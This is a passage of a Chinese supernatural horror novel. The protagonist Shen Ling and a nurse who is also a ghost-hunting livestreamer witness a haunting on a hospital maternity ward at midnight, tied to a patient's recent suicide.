校车是陵川市第二实验小学的校车，校车上的是三年二班的学生，学校组织了一次校外实践活动，原本他们是下午出发的，前往隔壁盘山市的少年先锋队学习基地，开展为期7天的校外实践活动，但不知道为什么，出发时间推迟到了晚上七八点，校车连夜出发，在走到元山路的时候，发生了意外事故，整个校车侧翻摔下了悬崖，车上的陈老师、吴老师及唐姓司机当场身亡。
110报警中心及消防中心接到消息后，第一时间采取了行动，平安医院的救护车也前往现场救治，但因为山崖比较陡峭，校车翻下去的时候许多孩子被甩出了车窗而死，剩下的孩子也重伤昏迷。
这起交通安全事故一下子冲上了热搜，成为了各地交通安全整改整治的典型案例。
校车安全，成为了家长们近期最关注的话题，许多学校临时取消了校外实践活动，但这起事故的责任在谁？目前还在调查中，有待官方进一步公告。
这不是一个平安的时代，至少，对陵川市而言，这三天接二连三的变故，让原先默默无闻城市最近可谓是“名气大涨”。
网友们也戏称“陵川市”为“灵川市”，还有分金倒斗的研究者认为陵川市本身的地理位置不太好，从卫星图像分析，陵川市四面环山，煞气难出，并且位于盆地的最低处，河流较多，是阴气汇集之地，枉死的鬼魂上无法达天，下无法入地，徘徊在天地之间，久而久之必然出来作祟。
看到这里，沈聆打了个哆嗦，不知道为什么，在这个时间点，在医院看这些灵异新闻总感觉怪怪的，就好像角落里有许多双眼睛在盯着她。
她好像在错误的时间做了一件错误的事情。
沈聆感觉到周围的风一阵阵阴寒，她抬起头看了一圈，走廊的窗户虽然关着，但是不知道从何处吹来的风，总是让人感觉到不寒而栗。
她收起手机，双手拢着外套，原地走了几圈，手术室的大门上，红色的“手术中”的牌子亮着，将整个走廊都映成了暗红色。
感觉到周围的气氛有点儿压抑，手术一时半会儿不会结束，今晚还要熬夜，沈聆打算下去六楼转转，六楼走廊尽头有热咖啡机，她打算冲点速溶咖啡喝。
忽然一个念头在脑海中一闪而过——跳楼的孕妇，好像就是从六楼楼跳下去的。
9. 小小夷
“沙拉……”
沈聆拉上外套拉链，缩着肩膀走向了这层楼的电梯，夜寒露重，不知道为什么，今天晚上好像格外的清冷。
“哒。哒。哒。”
沈聆那轻微的脚步声在寂静的空气中缓缓散开，仿佛是这空旷楼层唯一跳动的音符，一下一下，孤独而清晰，成为这层楼唯一的声响。
每一步落下，都像是在这静谧的空间中荡起微微的涟漪，格外突兀却又带着一种无法言说的寂寥。
无人的走廊尽头，沈聆按下了电梯按钮，“向下”的电梯按钮红了起来，沈聆听见了绳索牵拉电梯的声音，电梯间也缓缓来到了本层楼。
“叮咚。”
电梯停在本层时，沈聆下意识地往身后看了一眼，手术室的灯光还是红色的，仍旧在手术中，或许没有消息才是最好的消息，现在她需要做的，就是安心等待妹妹的手术结果。
这么想着，沈聆独自走进了电梯。
她看了下电梯里张贴着的楼层示意图，八楼是手术室，七楼是ICU，六楼是妇产科，五楼是外科，四楼是骨科，三楼是检验科，二楼是体检科，最后是一楼的大厅。
陵川市并不是一二线大城市，平安医院也只能算上二级乙类医院，许多硬件设施和基础建设还补不上甲类医院，一栋大楼综合了许多院部，虽然病种比较繁杂，但也减少了病人及家属奔波的劳累。
“8”
“7”
“6”
电梯的显示屏跳动着，越来越接近六楼，当电梯停在住院部六楼时，电梯里的灯闪烁了一下，沈聆抬起头，看见电梯的楼层显示停在了数字“6”上。
“咔哒。”
电梯稳稳停下，门缓缓向两侧滑开。
刹那间，一股阴冷之气如潮水般扑面而来。
“沙……”
沈聆恍惚间似乎听到走廊尽头传来一阵轻微的脚步声，那声音极轻极细，仿佛有人赤着脚悄然跑过，但定睛一看，却并没有看到有人路过。
——奇怪，难道是我的错觉吗？
沈聆微微蹙眉，揉了揉眼睛，站在电梯里，走出电梯的脚步也因此迟疑了半分。
电梯正对着的整条走廊空空荡荡，寂静无声，凌晨的医院已然熄灯，长长的走廊上，唯有那幽幽的绿色灯光，如萤火虫般微弱地闪烁着，仅仅照亮一小段一小段的区域。
“嘶……”
沈聆不由自主地缩了缩肩膀，清晰地感觉到一股寒气悄然爬上脊背，这冰冷的感觉让她不由得打了个喷嚏。
她紧紧地缩着脖子，缓缓走出电梯。
电梯里的灯光将她的影子拉得长长的，静静地落在身前一小块被照亮的地砖上。
她小心翼翼地踩着自己的影子，一步一步走出电梯，走廊里只剩下沈聆的脚步声。
“叮……”
电梯门在身后悄然关上，她也瞬间融入了这片深沉的黑暗之中。
医院的走廊在深夜里仿佛变成了一个充满未知恐惧的神秘通道，应急灯光忽明忽暗地闪烁着，投射出扭曲的影子，仿佛有看不见的幽灵在舞动，墙壁上的白色涂料在黯淡的光线下显得格外苍白，如同冰冷的面具。
空气凝固了一般，弥漫着消毒水和陈旧气息的混合味道，令人作呕，寂静笼罩着整个走廊，只有偶尔传来的设备微弱的嗡嗡声，像是从幽冥地府传来的低语。
沈聆沉默地走在走廊中，咖啡机在走廊尽头的另一侧，她内心有点儿打退堂鼓，但是想一想毕竟是大家可是社会主义的接班人，从小接受共产主义的熏陶，要打倒一切牛鬼蛇神！
这么想着，脚步都沉稳有有力了许多。
地面上的瓷砖反射着诡异的光，每一块瓷砖的缝隙都像是无尽的深渊，长长的走廊一眼望不到尽头，仿佛是通往另一个恐怖世界的入口，风不知从何处悄然吹过，发出令人毛骨悚然的呜咽声，让人的脊背阵阵发凉，仿佛随时会有恐怖的东西从黑暗中扑出。
沈聆的视线落在几步之外的护士站。
位于走廊中间的护士站，此时就像是黑暗中的一座灯塔，成为这层楼唯一的光源，在沈聆走到护士站前的时候，发现护士站今晚只有一个护士值班，她趴在桌上，将脸埋在了环起的胳膊里，并没有察觉到沈聆的到来，看起来似乎睡着了。
白色的台面在灯光的映照下，泛着淡淡的光泽，上面摆放着一些病历夹和医疗用品，整齐而有序，护士站的椅子静静地靠在一旁，仿佛在等待着随时可能忙碌起来的身影，椅子旁的操作台上放着许多针筒和药瓶，都已经按照类别整理并贴上了标签。
沈聆张望了一圈，看见护士站后的墙壁上挂着一些医疗指示牌和规章制度，在这昏暗的环境中，它们显得有些模糊不清，而那灯光虽然微弱，却给人一种安心的感觉，仿佛在告诉沈聆，这里还有人在坚守，还有一丝生命的气息在这冰冷的医院走廊中流淌，然而在这诡异的氛围下，这份安心也显得那么脆弱。
就在此时，原本趴着休息的小护士忽然动了动肩膀，她挠了挠脑袋，在沈聆还没有反应过来的时候，她已经醒了过来。
“哈欠……”她睁开惺忪的睡眼，打了个哈欠，伸直了胳膊后，懒散地伸了个懒腰。
在朦胧的视线中，忽然见就看到了突兀地站在护士站前的沈聆。
“啊？”她愣了一下，两个女孩子大眼瞪小眼地对视了三秒后……
“啊——”反应过来地小护士吓得尖叫了一声，身体往后倒去，结果椅子重心不稳，她整个人连带着椅子后仰、摔倒在地上！
“鬼……鬼啊！”小护士尖叫着慌忙从地上爬起来，手脚并用的样子像极了共济失调的病人。
“别别别……我不是鬼，我是人！”沈聆忙解释了一下，但这小护士似乎没有在听她的话，她手忙角落地拉开抽屉，从抽屉里掏出一张皱巴巴的不知道从哪里求来的符纸，就往沈聆这边乱舞。
“你别过来！我告诉你，我身上是有带着符咒的！你要是敢靠近我，我……我这就‘大威天龙’！‘急急如律令’！我警告你！别靠近我！不然让你灰飞烟灭！”
这小护士慌乱无措着，她这才刚睡醒，又连着椅子摔倒了，原先束在脑后的丸子头全散开了，护士帽歪在一边，发丝散乱下，是一张煞白煞白的小脸。
沈聆满脸冷汗地看着小护士，听着她满口胡言乱语，一时间不知道谁更像鬼，忽然，她感觉眼前的小护士似乎有点儿眼熟？
“你先等等……我是不是……在哪里见过你啊？”沈聆皱起眉头，歪过头端详着小护士，她感觉这小护士的眉目似乎有点儿熟悉，而且越看越眼熟，自己像是在哪里见过她一样？
“什、什么见过不见过的！我告诉你，你不要阴魂不散！”
沈聆看着她一脸惊慌的表情，分明有几分做贼心虚的样子，口中胡言乱语的样子实在是可疑。
“……”
沈聆狐疑地眯起眼睛，拿出手机，点开了短视频平台，随便打开一个主播小小夷的作品，弹出来的视频中，一张少女浓妆艳抹的脸，那眉形、脸庞、嘴角等，恰好就和眼前的小护士一模一样！
“是你？！你是主播小小夷？！”沈聆一惊，“好呀，这可是天堂有路你不走，地狱无门你闯进来！好巧不巧居然让我碰到你了！你偷拍我博流量，看我怎么收拾你！”
小小夷见对方认出了自己，索性破罐子破摔了！
“我……我是偷拍你了，那又怎么样？！是你自己鬼鬼祟祟地在街口招魂的，我只不过是作为正义市民，及时曝光了你的行为罢了！”
小小夷拿着手里那张皱巴巴的符咒挥舞着，就要逼退沈聆。
“女鬼！你……你现在是不是来找我报仇的？还是你其实也是鬼？我就知道！我今天运气一塌糊涂一定跟你有关系！今天早上平白无故电动车撞到人、在科室打翻了药瓶、钱包还丢了、吃饭的时候差点被噎死……一定是你缠着我，是你的邪气作祟是不是？”
小小夷拿着符咒乱舞，沈聆一时间却也拿她没办法，看着她满头乱发的狼狈样子，倒感觉几分好笑：“你才是鬼！我说，你今天倒霉跟我有什么关系？”
原来，这几天主播小小夷也不太好受。
毕竟正常人谁撞见了鬼不害怕的？再加上她从这次的直播里吸了一波流量，坐收红利，一夜成名，害怕被反噬的心自然更深了几分。
人总是疑神疑鬼的动物，哪怕是碰到一点点日常生活中再正常不过的倒霉事情，也会归结为“撞鬼”后“鬼魂作祟”。
“我告诉你，现在可是法治社会，你要是用你的那套歪门邪道对付我，
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这里可是有监控的！我、我同事们可不会放过你！”小小夷虽然说着狠话，但声音却止不住地颤抖，拿着符咒的手也抖得像筛糠。
沈聆略用力拍了拍桌子，清了清嗓子：“咳咳，首先，我是人，不是鬼，你遇到的那些事跟我没关系，纯属你自己倒霉，我是病人家属，我妹妹现在正在八楼手术，我是从八楼下来买杯咖啡喝的……其次，你昨天晚上你直播的时候没有经过我的同意，就用我博眼球、赚流量，你这算不算侵犯了我个人隐私？”
“你……你不是鬼？”
“废话，鬼能跟你讲隐私权的事情吗？还有，鬼能有影子吗？”沈聆白了小小夷一眼，她指了指白色的地砖。
闻言，小小夷半信半疑地往前走了几步，视线顺着沈聆的目光看去，的确看到在沈聆脚下有淡淡的影子。
小小夷默默咽了口唾沫，打量沈聆的眼神也少了几分惊恐。
作为一名灵异主播，她自然知道一些关于鬼怪的秘闻：例如，鬼一般都是没有双脚的，并且在灯光下是没有影子的，在白日里，鬼是无法出门的，因为害怕阳光，他们如果要在白天行动，必须打伞……眼前的这个女孩子，虽然脸色苍白了一点，但是还不算是面如死灰，靠近一点，也能感觉到她身上的温度和气息，凡此种种感觉下来，的确不像是鬼。
“你……你真的不是鬼？”
沈聆没好气地说：“废话，如果我是鬼的话，我昨天晚上还祭魂做什么？你见过鬼拜鬼的吗？这不是放屁脱裤子吗？”
这么说好像也对？
小小夷半信半疑地放下了手中的符咒，但还是隔着一段距离打量着沈聆：“就算！你不是鬼，你也肯定不是什么好人！谁家好人午夜十二点在十字路口招魂的？你是不是在做什么招魂仪式？我在电影里看过，你们要邪灵帮你们达成什么心愿，一定是的。”
“前几天，我爸妈那个路口出车祸死了，我只不过想去拜一拜而已。”沈聆平静地回答。
“额……”小小夷一听，瞬间没了底气。
对前几天瑞景路十字路口的车祸，她也有所耳闻，也因此才会去事故频发的十字路口寻找灵异直播的灵感，这才撞见了在祭魂的沈聆，只不过她没想到，在祭魂的人，居然是死者家属。
愧疚，懊悔，自责……许多复杂的情绪涌上心头，小小夷看着沈聆的眼神更多了许多名为“可怜、同情”的因素。
“我真的TM该死啊”这八个字就差没有真的写在小小夷脸上了，是那种，半夜想起来也会从床上坐起来扇自己几个巴掌的程度了。
“我……我只是……”
“好了，不用说‘节哀顺变’之类的话了，我这几天听得够多了，真心的，假意的，都是。”沈聆扫了一眼小护士胸前带着的工作牌，上面有她本人证件照以简单地写着几个字——
平安医院产科护师，宋明夷。
“我也只是好奇嘛……你想，谁看到一个女孩子午夜十二点在街头祭拜不好奇的？我最近手头紧，直播间又一向没有什么人气，所以才想着找点新奇的题材……再不搞点新奇的直播，我这几天就没饭吃了……”小小夷说着，露出一副委屈巴巴的表情，像极了淋雨后委屈的小猫。
“你少给我装绿茶，你现在倒是大赚一笔了，你考虑过别人的感受吗？”
“又不只是你，我也被骂了呀……”小小夷转了转圆溜溜的眼珠，视线瞥向了别的地方，略感心虚地说道，“网友还说我跟你串通一气呢，平台给我发了好几次警告信，让我不要夸大直播内容，不要违背直播条例，我直播间都差点儿被封了。”
“你那叫活该，这是你该播的东西嘛你就播。”
就在这时，旁边的身高体重检测仪忽然传来了一个声音——
“您的身高是161.5厘米，您的体重是0.021公斤，您的体型偏瘦，请注意营养。”
这电子播报的声音，突兀地在护士站内响起，打断了沈聆和小小夷的对话，她们下意识地齐刷刷看向身高体重检测仪，看见在惨白色的灯光下，检测仪的电子显示屏上显示着红色的两个数字——
161.5。
0.021。
更可怕的是，此刻并没有人站在那上面。
那这身高体重……
是谁的呢？
10. 44号床
“您的身高为161.5厘米，体重是0.021公斤。您的体型偏瘦，请注意补充营养。”
这突如其来的电子播报声，如同平地一声惊雷，瞬间让两个女孩呆若木鸡，愣在当场，原先还在争吵斗嘴的两个人，瞬间都安静了，大眼瞪小眼，在互换视线之后，再一次将目光落在了电子体重检测仪上。
在昏暗的灯光下，那电子体重检测仪静静地靠墙而立，宛如一个沉默的卫士，它安装的感应摄像头，就像是一双敏锐的眼睛，时刻准备捕捉到站在检测仪上的人的轮廓，进而精准地测算出身高体重数据。
然而此刻，检测仪上分明空无一人，却不知为何，竟诡异地自行运行起来，仿佛被某种神秘的力量操控着。
空气仿佛在刹那间凝固，每一寸都似凝结着冰霜，让人在吸入肺部时格外“刺痛”。
沈聆的心猛地一缩，恐惧如同汹涌的潮水，瞬间将她淹没。但她倔强地咬了咬嘴唇，努力让自己保持镇定。
她压低声音对小小夷说道：“喂，我说，你们医院的这个检测仪是不是接触不良啊？或者设备老化了？”
说话的同时，她注意到小小夷的脸色更加惨白，如同一张白纸，她微微张开双唇，睁大的眼睛里瞳孔轻轻闪动着，满是惊恐与茫然。
“我……我不知道啊……这个检测仪是上半年刚买的，不存在老化问题吧……”小小夷结结巴巴地说着，一边往后退了几步。在靠到桌子的时候，不小心弄掉了桌子边缘的自动笔。
“啪”的一声，笔掉在地上的声音在这寂静的氛围中显得格外刺耳，吓得小小夷浑身一颤。
此时的沈聆满心困惑，犹如陷入了一团迷雾之中。
这检测仪好端端的，怎么会突然自己运作起来呢？这完全不合常理啊。
她的脑海中飞速地思考着各种可能性，会不会是有什么干扰源？或者是系统出了故障？但上半年才买的检测仪，按理说不应该这么快就出问题。
沈聆深吸一口气，她鼓起勇气走到了检测仪旁边，不知道为什么在靠近检测仪的时候，她浑身寒毛竖起，感觉到检测仪旁边的气温似乎更低一点。
她压下内心的疑惑，检查了一圈检测仪。
“怎么样？有检查出什么问题吗？”小小夷伸长了脖子，好奇地看着沈聆。
原先争吵的两个女孩子，现在似乎默契地站在了统一战线。
半晌，沈聆抬起绝望的眼眸看向小小夷，右手从检测仪后面拉出了一条黑色的插座线。
“……好像问题更麻烦了。”
小小夷在看到那条三角头的插座线时，脸色更白了几分。
这台检测仪，甚至没有插电！
沈聆踩上了检测仪，但是这一次，检测仪并没有测出沈聆的身高体重，漆黑一片的表盘没有任何数据显示。
沈聆沉声喃喃：“这台检测仪，根本就没有插电，那刚才它是怎么运转的？”
“不、不知道呀？但是我们都听到了呀，检测仪自己报出了奇怪的身高体重数据……”小小夷说着，鬼鬼祟祟地左顾右盼，瞅了一眼四周，似乎在那暗无人知的角落里，藏着什么窥探她们的眼睛。
“嗯……我确实也听到了，不像是幻听。小小夷，你还记得那两个数据吗？”沈聆从检测仪上下来，转过头看向了小小夷。
“好像是……161.5厘米和0.021公斤？”小小夷指了指检测仪，“这台检测仪是今年采买的，通常检测仪在测出使用者身高体重的数据之后，会打出一张单子，不会播报出身高体重，除非检测者按下播报按钮，否则出于隐私权的考虑，不会直接播报出个人的身高体重。”
沈聆白了一眼小小夷，冷冷一笑：“你也知道隐私权啊，我以为你们主播都不知道呢。”
“你讽刺我啊！”小小夷气呼呼地看着沈聆，声调都提高了半分。
沈聆淡淡一笑。
她知道，像小小夷这样的人呢，偏肤浅张狂，但心思应该不会太坏，只是出于生活所迫，往往做事少根筋，会考虑不周，否则，真正心生恶念的人，是不会在做了亏心事之后感到内疚害怕。
摸清了眼前这个人是个什么样的人之后，沈聆打算事后再跟她算一算自己被偷拍的事情。
比起那个，当前突然发生的事件，才更加灵异鬼怪。
医院，一直都是阴气重的地方，许多生老病死在这里上演，这里是人生的第一站，亦是人生的最后一站。
沈聆隐隐约约感觉到周围的气氛似乎有一丝丝不对劲，在祭魂的时候，她曾经感受到的被鬼魂凝视的压迫感，此刻再一次重临心头，甚至鼻尖捕捉到了一丝似有若无的血腥味，而且浑身被凝视的压迫感，实在让人喘不过气来。
仪器没有插电，却自己播报了一组身高体重，这已经不是“设备短路”可以解释的事情了。
“这台仪器里面有没有电池？会不会有备用电池所以才自己播报了？”
“没有，这是插电的。”小小夷摇了摇头，“仪器被搬过来的时候，我们护士长曾经培训过我们，每个护士都会修理这台仪器，我们还看过这台检测仪的结构图，我百分百保证里面没有备用电池！”
“这就奇怪了……”沈聆注视着检测仪，困惑地喃喃。
小小夷看着沈聆一筹莫展的表情，小心翼翼地询问：“那……刚才那个……算是灵异事件吗？”
“啊？”
沈聆回过头，发现小小夷眼眸中闪烁着兴奋的光芒，甚至下意识地从抽屉里拿出了自己的手机，一副打算“现场直播”灵异事件的样子。
“我可是一位专业的灵异主播！我曾经看过资料，有的文献说，摄像头可以捕捉到人眼看不到的东西，让我来看看周围有没有奇怪的影子！”小小夷点开了手机的摄像功能，拍了一圈护士站，但在镜头里并没有看到奇怪的人影。
沈聆叹了口气：“我说啊……”
“什么？”
“你是不是故意选择在今天晚上值夜班的。”
小小夷一挑眉：“怎么说？”
“我也有看新闻热点，前几天平安医院发生了产妇跳楼事件，你是灵异主播，如果我是你的话，我自然会选择在夜班的时候看看会不会捕捉到什么新题材……毕竟，在瑞景路十字路口的直播灵感也是来自于我父母的那场车祸吧。”沈聆平静地看着小小夷，似乎将这女孩的心思全都看透。
小小夷打了个响指：“瞒不过你，没错，其实今天晚上并不是我夜班的，但是我换班了！我感觉这是一个好机会，拜你所赐，我已经创造了一个热点，如果我再创造一个‘产科医院闹鬼’的热点的话，一定能‘一战成名’！”
小小夷眼眸中闪烁着的兴奋，这小主播似乎忘记了自己一分钟之前还被诡异的检测仪吓到脸色苍白的样子。
“……果然，你是有备而来的，否则也不会揣着这么一张破符纸。”
“啊？你是说这个吗？这次才不是破符纸呢！这是我跟青城山的道长求来的符咒！你知道青城山吗？听说他们有许多修炼得道的道长，最后都飞升成仙了……
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”
小小夷说着，晃了晃手中的符纸。
“我求的那位道长可厉害了！在看到我的时候，一眼就看出了我最近‘鬼气缠身’，有‘大富大贵之相’，但也有‘大祸临头之险’，他给了我这张符咒，说这张是开过光、沾过圣水的符咒，有他们祖师爷的法术，有了这个，我就算在夜班看到什么不干净的东西也能全身而退。”
“青城山的道长？为什么我感觉这个名号这么熟……”沈聆皱起眉头想了想，脑海中浮现出一位在路边摆摊的男人的身影，“我说，小小夷，你这张符纸不会是二十元一张买来的吧？在人民路的十字路口。”
小小夷眨了眨眼睛：“你怎么知道？难道说，你也有一段仙缘？”
“仙缘呢，估计是没有，但是我和那个道长倒是有‘一面之缘’。”沈聆无奈地摇了摇头。
——她也真是天真。
——就这么揣着二十元买来的符纸，就认为自己“百鬼不侵”了。
沈聆叹了口气，摇了摇头。
这个世界上什么样的人最可怕？无知的人，因为无知，便能做到无惧。
“滴滴——”
就在这时，忽然响起的铃声打断了两个女孩子的对话，她们吓了一跳，同时看向了护士站的呼叫对讲系统，发现44号床的灯从绿色变成了红色，并闪烁着，铃声便从这对讲系统的扩音器里传出。
护士站都会配备有这样的一套对讲系统，病人在床位上如果有什么需要的话，就会按下病床床头的呼叫按钮，信号传达到护士站之后，便会在一排数字上显示是哪一个床位在呼叫，在接到呼叫后，护士需要按下对讲按钮，了解病人需求，从而更换输液的药水或者是为病人换药。
这在住院部十分常见，每一家医院都会配备的基础设备。
原先，夜班铃声在护士们看来也是在寻常不过的事情，只不过，今天晚上，发生的事情，似乎有一点出乎意外……
“滴滴……滴滴……”
呼叫系统上，44床的小灯泡闪烁着，对讲系统传出急促的信号提示音，刺耳的信号声在午夜的护士站中听起来十分刺耳。
“你不去接一下吗？”沈聆看着小小夷，有点儿疑惑。
她的话说到一半便戛然而止，小小夷此刻睁大了眼睛，脸色惨白，冷汗顺着她的额角滑落，她死死抓着手中的符纸，沈聆注意到，小小夷在颤抖。
沈聆忽然想起了什么，看向了漆黑一片的走廊。
在走廊尽头，便是44号床所在的病房。
那伸手不见五指的黑暗，仿佛能吃人一样，吞噬了一切动静，吞噬了一切生机。
“……是她的床位，是不是？”
在刺耳的呼叫系统提示音中，沈聆轻声说道。
小小夷点了点头。
是的。
没错。
从产科跳楼自杀的那个产妇，她就是44号床的。
“自从她跳楼自杀后，44号床一直空着……同病房的其他产妇嫌那个病房不吉利，都换了病房……那间病房，现在没有人住。”
那么现在，是谁按响了呼叫铃呢？
“小小夷……你能告诉我跳楼的产妇，身高是多少吗？”
“我看一下……我记得我刚才还在看她的资料……”小小夷说着，忙低下头，在自己桌上乱翻了一通病历后，更加绝望地抬起头，“是……161.5厘米。”
所以……
刚才使用检测仪的……
是那个跳楼的产妇？
11. 哭声
“你……你这是什么意思？难道是说，那个女鬼回来了？而且还在我们面前测了身高体重？”小小夷惊恐万状地看着沈聆，目光如惊弓之鸟般左顾右盼。
呼叫系统的提示音如催命符般在耳边回响，早已让她神经高度紧绷，此刻沈聆的暗示更是如同一把把利刃，一步步逼近她的心理承受底线。
“多半是这样吧。我曾在书上看到，灵魂的重量是21克……你还记得我们刚才听到的体重是多少吗？”
“……0.021千克。”沈聆微微耸了耸肩：“子不语，怪力乱神。常在河边走，哪有不湿鞋。做灵异主播久了，撞鬼也在情理之中。”
“但是……但是为什么找上我啊？”小小夷颤抖着声音。
“谁知道呢？说不定鬼也看了你的直播，觉得你的镜头不错。她或许有一些想说却又没来得及说的话，想通过你来让大家知道……”沈聆沉声说道，她表面看似冷静，实则内心早已慌成一团。
毕竟，比起寻常人来说，沈聆曾经亲眼目睹过黄泉路的惨状，心理承受能力要稍微好一些。
当然，作为菜鸟阴厨，也好不到哪里去。
她此刻所有的底气，都来自于外婆给的那一小瓶黑狗血。她一直将黑狗血藏在口袋里随身携带，毕竟自己的工作性质特殊，担心被恶鬼缠上，别无他法的她，只能紧紧抓住这仅有的能够自保的“救命稻草”。
“怎么回事啊？！怎么回事啊？铃响了这么久，宋明夷你怎么没去看看情况啊？”
一个抱怨的声音传来，沈聆与小小夷循声看去，只见一个身材臃肿的女人从值班室缓缓走出。她的头发凌乱不堪，显然是刚刚随意盘起来的，双下巴下，护士服领口的扣子也没有扣好，露出里面的衣服，那白色的护士服紧紧地绷在她身上，仿佛随时都会爆开，如同一个胀满气的气球，随时可能炸裂。
她踩着小白鞋的鞋跟，拖沓地走出了值班室，睡眼惺忪地扫了一眼周围。听着护士站中刺耳的铃声，不满的视线如利箭般落在了当夜的值班护士宋明夷和沈聆身上。
“今晚不是你值班吗？铃声响了这么久，你没听到？”
小小夷一看到这位大姐，立刻变得老实起来：“我……护士长，不是我不敢去，只是我感觉这个铃声好诡异啊……”
“诡异？什么诡异？你恐怖电影看多了吧，你知不知道我们要在固定时间内接铃的，不然系统要记录你缺勤的。”
被小小夷称为“护士长”的女人看起来四十岁出头，身材丰满得如同一个圆滚滚的水桶。一双眼睛因脸上层层堆积的肉而变得细长，仿佛两道弯弯的缝隙。一头细软的头发盘在脑后，略显凌乱。她显然刚才在值班室里休息，被护士站的铃声吵醒后，一股子起床气全都撒在了小小夷身上。
小小夷噘着嘴，轻轻嘟囔了一句：“但是……我本来是下半夜的班啊……上半夜不是你自己的班吗……你偷懒跑去睡觉，还好意思说我……”
她的声音很小，如同蚊子的嗡嗡声，明显是不敢让护士长听到，对方毕竟是她的直系领导，她可不敢轻易得罪，但是这句话却让站在她旁边的沈聆听到了，沈聆斜着眼睛，快速扫了一眼宋明夷和护士长，心里大概对当前的情况有了几分了解。
——这位护士长明显是强势的性格，在她手底下做事并不容易，虽然护士值夜班是分为上下半夜的，但是她今天的运气显然不是很好，和护士长分到了一起值班，护士长要进去休息，她哪里能有异议？只能窝窝囊囊地去值个大夜班，只不过没想到，今天晚上似乎比她想象中要更可怕一点。
“快给我把铃接了。”护士长踩着拖沓的脚步走到了护士站旁边，小小夷还想说什么，但护士长嫌她磨磨唧唧的，干脆自己伸手按了一下44床的对讲按钮。
“嘟——”
对讲机接通的时候，护士长凑近了对讲话筒，清了清嗓子，声音轻柔得如同春日的微风：“您好，这里是护士站，请问有什么需要吗？”
虽然上一刻还是不满、愠怒的表情，但此刻她说出口的话却一点情绪波澜都没有，字正腔圆，听起来就像是广告里的护士们和善友好的声音。
沈聆不禁感叹——高手在民间，真正的变脸大师从来不需要道具。
她大概理解为什么眼前这个女人能做到护士长的位置了。
“沙……”
期初，对讲系统信号好像不太好，那头传来一些奇怪的声音，仿佛丝绸在地上缓缓拖动，又像有人赤脚在潮湿的地面上奔跑，发出轻微的“啪嗒”声。
这些声音过后，对讲机里传来低沉的呜咽声……
“呜呜……”
这声音若有若无，像是隐约的啜泣，如同幽灵在黑暗中轻轻叹息，但很快，它变得更长，更哀怨，仿佛一个受尽委屈的灵魂在痛苦地哭诉。
“呜呜呜……”
哭泣的声音越来越清晰，让人联想到一个受委屈的女孩躲在角落里哭泣，她的哭声充满悲伤和无助，令人心生怜悯，每一声哭泣都仿佛是一根尖锐的针，刺痛着人的耳膜和心灵。
沈聆与宋明夷对视了一眼，她们眼中满是惊恐，瞳孔放大，脸色苍白如纸。
心中不约而同有了一个奇怪的念头——44床跳楼的产妇，又回来了！
护士长似乎没有意识到这一点，她也听到了对讲系统那头传来的哭泣声，但并没有把这一切和灵异事件联系在一起，只是疑惑地皱着眉头，听了几秒后，疑惑地说道：“您好？请问您有什么需要？我是护士长，您可以跟我说，我可以帮您解决。”
“他们……他们欺负我……”
出乎意料的是，对讲系统那头的声音，居然回话了！
“滋——滋滋——”
对方回话的声音夹杂着嘈杂的电流声，就像是周围的磁场发生了奇怪的变化，电流声如同无数只小虫子在耳边嗡嗡作响，让人烦躁不安。
同时，对讲系统传来的声音变得更加压抑、模糊，那啜泣的声音就像是从另一个世界传来的一样，朦胧着，隔着一层白雾，让人摸不清楚，但是又能隐隐约约听到几个相对关键的字词，仿佛有一只无形的手，在黑暗中轻轻拨动着人的神经。
“谁？欺负？您好，您能说得更清楚一点吗？”
“他们……他们欺负我……报仇……谁都别想活下去……”
在说完这句话的时候，忽然一阵阴风从走廊吹过！
那阵风吹动了沈聆的头发，她下意识地看向了风吹来的方向——忽然，看到一个人正站在走廊尽头的窗户前！
那个人影不知何时站在那里，似乎是个女人，她披散着头发，如同黑色的瀑布垂落在肩头，她
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穿着病号服，低着头，走廊没有开灯，沈聆看不清楚对方的样貌，但窗外的灯光从她背后投来，将她的轮廓完整地显现出来。
那轮廓如同一个幽灵，阴森而恐怖。
沈聆呼吸一滞，她发现……对方没有脚，没有影子？！
“谁？！”沈聆大喊了一声，下一刻，她看到窗前的那个人脖子扭曲成了一个奇怪的弧度，像是歪着头看着她。
——那个人的脖子如同柔软的面条，扭曲得让人毛骨悚然。
“有人在那里吗？”站在护士站桌子前的小小夷也探出半个身子，她也看到了走廊尽头歪着脖子、披着头发的人，忙拿出手机对准了那个人，“她……她……”
“他们……欺负我……他们……你们……都得死……”
对讲系统中，传来断断续续的女人的呜咽声。
随后，在沈聆和小小夷的视线中，站在窗前的人忽然伸出手，指着沈聆和宋明夷的方向。只听见“咔嚓”一声，她的脖子忽然折成了90度，就像是被折断的树枝一样！
那声音清脆而恐怖，仿佛是死亡的宣告。
“啊——”见此情况，小小夷吓得尖叫出声，那尖叫声如同利剑划破寂静的夜空，充满了恐惧和绝望。
下一秒，窗前的那个人忽然朝她们冲了过来！
速度很快，肉眼可见她的身形在空中擦过留下了白色的残影，如同一个白色的幽灵。
“不要——”站在走廊一侧的沈聆下意识地闭上眼睛、抬起手挡在自己面前，只感觉一阵寒气穿透了身体，仿佛从寒谷中穿过一样，那寒气如冰刃般刺骨，她顿时汗毛倒立，腿一软摔倒在地上。
当她再一次睁开眼睛的时候，窗户前那个诡异的人已经不见了。
——是鬼……
沈聆惊魂未定地扫视了一圈，黑暗的走廊，只有些许应急灯的绿色的灯光照亮了些微区域，那绿色的灯光如同幽冥之火，闪烁着诡异的光芒。走廊中间，时间显示器上，红色的数字显示着当前是12：00。
这片黑暗交杂着红色与绿色的灯光，更显得可怕，仿佛是一个恐怖的异世界，充满了未知的危险。
“闹鬼……闹鬼了……”小小夷用手机拍下了所有的画面，她已经双腿发软，靠着桌子慢慢跌坐在地上。
“嘟……嘟……嘟……”
对讲系统的信号中断了，短暂出现的女声也不见了，这一切就像是从来没有发生过一样。
“您好？您好？”一直站在对讲系统前的护士长显然没有看见刚才走廊上的女鬼，她疑惑地看着沈聆和宋明夷，眼眸中增添了几分不满，“你们在干嘛？什么闹鬼？你们在说什么？还有，小姑娘是谁啊？是哪床病人的家属吗？”
沈聆魂不守舍地回答：“……我不是，不过我也是病人家属，我妹妹现在在楼上做手术，她是ICU的。”
“ICU的？那你过来这里做什么？”
“我……我本来想过来买个速溶咖啡的……”
“哦，这样啊……走廊尽头就有咖啡机，你如果要买的话，扫码就可以了。”护士长说着，看向了宋明夷，“宋明夷！你坐在地上干什么！还有刚才，你叫什么？你不知道很多产妇在睡觉吗？你现在给我去44床看看情况，那个病人说话也说不清楚，到底怎么回事，你去看看。”
12. 鬼影重重
